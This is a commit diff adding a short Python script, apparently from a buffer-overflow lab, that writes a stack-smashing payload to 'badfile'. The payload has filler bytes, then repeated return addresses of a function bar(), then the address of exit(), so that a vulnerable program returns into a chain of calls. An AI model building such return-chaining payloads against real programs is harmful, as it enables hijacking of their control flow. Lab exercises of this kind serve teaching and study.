Create chain_noarg.py

Author: Priyabug

chain_noarg.py

@@ -0,0 +1,20 @@
+#!/usr/bin/python3
+import sys
+
+def tobytes (value):
+   return (value).to_bytes(4,byteorder='little')
+
+bar_addr   = 0x08048567  # Address of bar()
+exit_addr  = 0xb7e369d0  # Address of exit()
+
+content = bytearray(0xaa for i in range(112))
+content += tobytes(0xFFFFFFFF)  # This value is not important here.
+for i in range(10):           
+   content += tobytes(bar_addr)
+
+# Invoke exit() to exit gracefully at the end
+content += tobytes(exit_addr)
+
+# Write the content to a file
+with open("badfile", "wb") as f:
+  f.write(content)